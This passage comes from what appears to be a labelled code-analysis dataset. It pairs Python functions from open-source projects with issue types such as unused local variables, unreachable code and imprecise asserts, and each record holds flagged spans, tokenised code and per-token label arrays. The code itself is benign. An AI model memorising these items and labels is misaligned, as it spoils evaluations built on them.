"options_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"info",
"Window_",
"._",
"open_",
"(_",
"self_",
"._",
"map_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"map_",
"._",
"add",
"Listener_",
"(_",
"\"",
"zoom",
"\\u",
"change",
"d",
"\"_",
",_",
"self_",
"._",
"zoom",
"Changed_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Properties_",
"(_",
"Simple",
"Panel_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"zoom",
"Changed_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"zoom",
"Level_",
"=_",
"self_",
"._",
"map_",
"._",
"get",
"Zoom",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"map_",
"._",
"set",
"Center_",
"(_",
"self_",
"._",
"my",
"Lat",
"Ln",
"g_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"info",
"Window_",
"._",
"set",
"Content_",
"(_",
"\"",
"Zoom",
":",
" ",
"\"_",
"+_",
"str_",
"(_",
"zoom",
"Level_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"zoom",
"Level_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"map_",
"._",
"set",
"Zoom",
"_",
"(_",
"10_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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n\t\tprint >> sys.stderr, 'process', self.processed\n\t\tfor ent in self.block:\n\t\t\tkind = dsutil.get_kind(ent)\n\t\t\tline = [ ]\n\t\t\tfor column in self.columns:\n\t\t\t\tname = column\n\t\t\t\tvalue, t = dsutil.prop_value(ent, column)\n\t\t\t\tif column == '__key__':\n\t\t\t\t\tname = 'id'\n\t\t\t\t\tlast = value[len(value) - 1]\n\t\t\t\t\tvalue = last.get('name') or last.get('id')\n\t\t\t\tif value:\n\t\t\t\t\tvalue = value.encode('UTF-8')\n\t\t\t\tline.append(value)\n\t\t\tvalues = [ (\"'%s'\" % (str(x).replace(\"'\", \"''\"))) for x in line]\n\t\t\tvalues = [ kind ] + values\n\t\t\tprint self.sql % tuple(values)",
"metadata": "root.SQLProcessor.resolve",
"header": "['class', 'SQLProcessor', '(', 'processor', '.', 'Processor', ')', ':', '___EOS___']",
"index": 19
}
]
| [
{
"span": "name ",
"start_line": 25,
"start_column": 4,
"end_line": 25,
"end_column": 8
},
{
"span": "name ",
"start_line": 28,
"start_column": 5,
"end_line": 28,
"end_column": 9
}
]
| []
| 1 | true | [
"[CLS]_",
"Variable_",
"defined_",
"multiple_",
"times_",
"[SEP]_",
"class_",
"SQL",
"Processor_",
"(_",
"processor_",
"._",
"Processor_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"resolve_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t_",
"print_",
">>_",
"sys_",
"._",
"stderr_",
",_",
"'",
"process",
"'_",
",_",
"self_",
"._",
"processed_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"ent_",
"in_",
"self_",
"._",
"block_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t_",
"kind_",
"=_",
"ds",
"util_",
"._",
"get",
"\\u",
"kind_",
"(_",
"ent_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"line_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"column_",
"in_",
"self_",
"._",
"columns_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t_",
"name_",
"=_",
"column_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"value_",
",_",
"t_",
"=_",
"ds",
"util_",
"._",
"prop",
"\\u",
"value_",
"(_",
"ent_",
",_",
"column_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"column_",
"==_",
"'\\u",
"\\u",
"key",
"\\u\\u'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t_",
"name_",
"=_",
"'",
"id",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"last_",
"=_",
"value_",
"[_",
"len_",
"(_",
"value_",
")_",
"-_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"value_",
"=_",
"last_",
"._",
"get_",
"(_",
"'",
"name",
"'_",
")_",
"or_",
"last_",
"._",
"get_",
"(_",
"'",
"id",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"value_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u\t",
"\t\t\t\t_",
"value_",
"=_",
"value_",
"._",
"encode_",
"(_",
"'",
"UT",
"F",
"-",
"8",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"line_",
"._",
"append_",
"(_",
"value_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"values_",
"=_",
"[_",
"(_",
"\"'",
"%",
"s",
"'\"_",
"%_",
"(_",
"str_",
"(_",
"x_",
")_",
"._",
"replace_",
"(_",
"\"'\"_",
",_",
"\"''\"_",
")_",
")_",
")_",
"for_",
"x_",
"in_",
"line_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"values_",
"=_",
"[_",
"kind_",
"]_",
"+_",
"values_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"self_",
"._",
"sql_",
"%_",
"tuple_",
"(_",
"values_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | apache/climate/ocw/plotter.py | [
{
"content": " def add_rms_contours(self, levels=5, **kwargs):\n \"\"\"Add constant centered RMS difference contours.\"\"\"\n\n rs,ts = np.meshgrid(np.linspace(self.smin,self.smax),\n np.linspace(0,np.pi/2))\n # Compute centered RMS difference\n rms = np.sqrt(self.refstd**2 + rs**2 - 2*self.refstd*rs*np.cos(ts))\n\n contours = self.ax.contour(ts, rs, rms, levels, **kwargs)",
"metadata": "root.TaylorDiagram.add_rms_contours",
"header": "['class', 'TaylorDiagram', '(', 'object', ')', ':', '___EOS___']",
"index": 997
}
]
| [
{
"span": "contours ",
"start_line": 1005,
"start_column": 8,
"end_line": 1005,
"end_column": 16
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Ta",
"ylor",
"Diagram",
"_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"add",
"\\u",
"rms",
"\\u",
"contours_",
"(_",
"self_",
",_",
"levels_",
"=_",
"5_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Add",
" ",
"constant",
" ",
"centered",
" ",
"RMS",
" ",
"difference",
" ",
"contours",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"rs_",
",_",
"ts_",
"=_",
"np_",
"._",
"meshgrid_",
"(_",
"np_",
"._",
"linspace_",
"(_",
"self_",
"._",
"smi",
"n_",
",_",
"self_",
"._",
"sma",
"x_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"np_",
"._",
"linspace_",
"(_",
"0_",
",_",
"np_",
"._",
"pi_",
"/_",
"2_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Compute",
" ",
"centered",
" ",
"RMS",
" ",
"difference_",
"\\u\\u\\uNL\\u\\u\\u_",
"rms_",
"=_",
"np_",
"._",
"sqrt_",
"(_",
"self_",
"._",
"refs",
"td_",
"**_",
"2_",
"+_",
"rs_",
"**_",
"2_",
"-_",
"2_",
"*_",
"self_",
"._",
"refs",
"td_",
"*_",
"rs_",
"*_",
"np_",
"._",
"cos_",
"(_",
"ts_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"contours_",
"=_",
"self_",
"._",
"ax_",
"._",
"contour_",
"(_",
"ts_",
",_",
"rs_",
",_",
"rms_",
",_",
"levels_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unreachable code | reviewboard/rbtools/rbtools/api/request.py | [
{
"content": " def _do_http_basic_auth(self, host, request, realm):\n user, password = self.passwd.find_user_password(realm, host)\n\n if password is None:\n return None\n\n raw = '%s:%s' % (user, password)\n auth = 'Basic %s' % base64.b64encode(raw).strip()\n\n if (request.headers.get(self.auth_header, None) == auth and\n (not self._needs_otp_token or\n self._otp_token_attempts > self.MAX_OTP_TOKEN_ATTEMPTS)):\n # We've already tried with these credentials. No point\n # trying again.\n return None\n\n request.add_unredirected_header(self.auth_header, auth)\n\n try:\n response = self.parent.open(request, timeout=request.timeout)\n return response\n except HTTPError as e:\n if e.code == UNAUTHORIZED:\n headers = e.info()\n otp_header = headers.get(self.OTP_TOKEN_HEADER, '')\n\n if otp_header.startswith('required'):\n self._needs_otp_token = True\n\n # The server has requested a one-time password token, sent\n # through an external channel (cell phone or application).\n # Request this token from the user.\n required, token_method = otp_header.split(';')\n\n token = self.passwd.get_otp_token(request.get_full_url(),\n token_method.strip())\n\n if not token:\n return None\n\n request.add_unredirected_header(self.OTP_TOKEN_HEADER,\n token)\n self._otp_token_attempts += 1\n\n return self._do_http_basic_auth(host, request, realm)\n\n raise\n\n return None",
"metadata": "root.ReviewBoardHTTPBasicAuthHandler._do_http_basic_auth",
"header": "['class', 'ReviewBoardHTTPBasicAuthHandler', '(', 'HTTPBasicAuthHandler', ')', ':', '___EOS___']",
"index": 264
}
]
| [
{
"span": "return None",
"start_line": 312,
"start_column": 8,
"end_line": 312,
"end_column": 19
}
]
| []
| 1 | true | [
"[CLS]_",
"Unrea",
"chab",
"le_",
"code_",
"[SEP]_",
"class_",
"Review",
"Boa",
"rd",
"HTTP",
"Basic",
"Auth",
"Handler_",
"(_",
"HTTP",
"Basic",
"Auth",
"Handler_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"do",
"\\u",
"http",
"\\u",
"basic",
"\\u",
"auth_",
"(_",
"self_",
",_",
"host_",
",_",
"request_",
",_",
"realm_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user_",
",_",
"password_",
"=_",
"self_",
"._",
"passwd_",
"._",
"find",
"\\u",
"user",
"\\u",
"password_",
"(_",
"realm_",
",_",
"host_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"password_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"raw_",
"=_",
"'%",
"s",
":",
"%",
"s",
"'_",
"%_",
"(_",
"user_",
",_",
"password_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"auth_",
"=_",
"'",
"Basic",
" ",
"%",
"s",
"'_",
"%_",
"base64_",
"._",
"b64encode_",
"(_",
"raw_",
")_",
"._",
"strip_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"(_",
"request_",
"._",
"headers_",
"._",
"get_",
"(_",
"self_",
"._",
"auth",
"\\u",
"header_",
",_",
"None_",
")_",
"==_",
"auth_",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"not_",
"self_",
"._",
"\\u",
"need",
"s",
"\\u",
"otp",
"\\u",
"token_",
"or_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"\\u",
"otp",
"\\u",
"token",
"\\u",
"attempts_",
">_",
"self_",
"._",
"MAX",
"\\u",
"OT",
"P",
"\\u",
"TOKEN",
"\\u",
"ATTE",
"MPT",
"S_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"We",
"'",
"ve",
" ",
"alr",
"ead",
"y",
" ",
"trie",
"d",
" ",
"with",
" ",
"these",
" ",
"cred",
"ential",
"s",
".",
" ",
"No",
" ",
"point_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"try",
"ing",
" ",
"again",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"request_",
"._",
"add",
"\\u",
"unre",
"direct",
"ed",
"\\u",
"header_",
"(_",
"self_",
"._",
"auth",
"\\u",
"header_",
",_",
"auth_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"response_",
"=_",
"self_",
"._",
"parent_",
"._",
"open_",
"(_",
"request_",
",_",
"timeout_",
"=_",
"request_",
"._",
"timeout_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"response_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"HTTP",
"Error_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"e_",
"._",
"code_",
"==_",
"UNA",
"UTH",
"ORI",
"ZED",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"headers_",
"=_",
"e_",
"._",
"info_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"otp",
"\\u",
"header_",
"=_",
"headers_",
"._",
"get_",
"(_",
"self_",
"._",
"OT",
"P",
"\\u",
"TOKEN",
"\\u",
"HEADER_",
",_",
"''_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"otp",
"\\u",
"header_",
"._",
"startswith_",
"(_",
"'",
"require",
"d",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"self_",
"._",
"\\u",
"need",
"s",
"\\u",
"otp",
"\\u",
"token_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"server",
" ",
"has",
" ",
"request",
"ed",
" ",
"a",
" ",
"one",
"-",
"time",
" ",
"password",
" ",
"token",
",",
" ",
"sent_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"through",
" ",
"an",
" ",
"external",
" ",
"channel",
" ",
"(",
"cell",
" ",
"phone",
" ",
"or",
" ",
"applica",
"tion",
").",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Request",
" ",
"this",
" ",
"token",
" ",
"from",
" ",
"the",
" ",
"user",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"required_",
",_",
"token",
"\\u",
"method_",
"=_",
"otp",
"\\u",
"header_",
"._",
"split_",
"(_",
"';'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"token_",
"=_",
"self_",
"._",
"passwd_",
"._",
"get",
"\\u",
"otp",
"\\u",
"token_",
"(_",
"request_",
"._",
"get",
"\\u",
"full",
"\\u",
"url_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"token",
"\\u",
"method_",
"._",
"strip_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"token_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"request_",
"._",
"add",
"\\u",
"unre",
"direct",
"ed",
"\\u",
"header_",
"(_",
"self_",
"._",
"OT",
"P",
"\\u",
"TOKEN",
"\\u",
"HEADER_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"token_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"otp",
"\\u",
"token",
"\\u",
"attempts_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"self_",
"._",
"\\u",
"do",
"\\u",
"http",
"\\u",
"basic",
"\\u",
"auth_",
"(_",
"host_",
",_",
"request_",
",_",
"realm_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"raise_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2
]
|
Imprecise assert | numba/numba/numba/tests/test_dispatcher.py | [
{
"content": " def test_inspect_asm(self):\n # Create a jited function\n @jit\n def foo(explicit_arg1, explicit_arg2):\n return explicit_arg1 + explicit_arg2\n\n # Call it in a way to create 3 signatures\n foo(1, 1)\n foo(1.0, 1)\n foo(1.0, 1.0)\n\n # base call to get all llvm in a dict\n asms = foo.inspect_asm()\n self.assertEqual(len(asms), 3)\n\n # make sure the function name shows up in the llvm\n for asm in asms.values():\n # Look for the function name\n self.assertTrue(\"foo\" in asm)",
"metadata": "root.TestDispatcherMethods.test_inspect_asm",
"header": "['class', 'TestDispatcherMethods', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 428
}
]
| [
{
"span": "self.assertTrue(\"foo\" in asm)",
"start_line": 446,
"start_column": 12,
"end_line": 446,
"end_column": 41
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"Test",
"Dispatcher",
"Methods_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"inspect",
"\\u",
"asm_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Creat",
"e",
" ",
"a",
" ",
"jit",
"ed",
" ",
"function_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"@_",
"jit_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"foo_",
"(_",
"explicit",
"\\u",
"arg1_",
",_",
"explicit",
"\\u",
"arg2_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"explicit",
"\\u",
"arg1_",
"+_",
"explicit",
"\\u",
"arg2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Call",
" ",
"it",
" ",
"in",
" ",
"a",
" ",
"way",
" ",
"to",
" ",
"create",
" ",
"3",
" ",
"signatures_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"foo_",
"(_",
"1_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"foo_",
"(_",
"1.0_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"foo_",
"(_",
"1.0_",
",_",
"1.0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"base",
" ",
"call",
" ",
"to",
" ",
"get",
" ",
"all",
" ",
"llvm",
" ",
"in",
" ",
"a",
" ",
"dict_",
"\\u\\u\\uNL\\u\\u\\u_",
"asm",
"s_",
"=_",
"foo_",
"._",
"inspect",
"\\u",
"asm_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"len_",
"(_",
"asm",
"s_",
")_",
",_",
"3_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"make",
" ",
"sure",
" ",
"the",
" ",
"function",
" ",
"name",
" ",
"show",
"s",
" ",
"up",
" ",
"in",
" ",
"the",
" ",
"llvm",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"asm_",
"in_",
"asm",
"s_",
"._",
"values_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Look",
" ",
"for",
" ",
"the",
" ",
"function",
" ",
"name_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"assert",
"True_",
"(_",
"\"",
"foo",
"\"_",
"in_",
"asm_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Imprecise assert | domrout/python-twitter-wrapper/tests/test_api_methods.py | [
{
"content": " def test_dont_inherit_others(self):\n # This might not be easy!\n parent = self.api.not_inheriting_others\n child = parent.descendent\n\n parent(1, some_param=0)\n parent_url = self.dummy.lastUrl\n\n # Assert that the last request was as described\n self.assertTrue(\"post_data\" in self.dummy.lastParams)\n self.assertTrue(\"def_param\" in self.dummy.lastParams[\"post_data\"])\n self.assertTrue(\"some_param\" in self.dummy.lastParams[\"post_data\"])\n\n self.assertEqual(self.dummy.lastParams[\"post_data\"][\"some_param\"], 0)\n\n child(1, some_param=0)\n # Check that the child wasn't still set as POST\n self.assertFalse(\"post_data\" in self.dummy.lastParams)\n self.assertTrue(\"parameters\" in self.dummy.lastParams)\n # Also check that default parameter wasn't still set.\n self.assertFalse(\"def_param\" in self.dummy.lastParams[\"parameters\"])\n self.assertTrue(\"some_param\" in self.dummy.lastParams[\"parameters\"])\n self.assertEqual(self.dummy.lastParams[\"parameters\"][\"some_param\"], 0)",
"metadata": "root.YAMLLoadingTests.test_dont_inherit_others",
"header": "['class', 'YAMLLoadingTests', '(', 'ApiMethodTests', ')', ':', '___EOS___']",
"index": 100
},
{
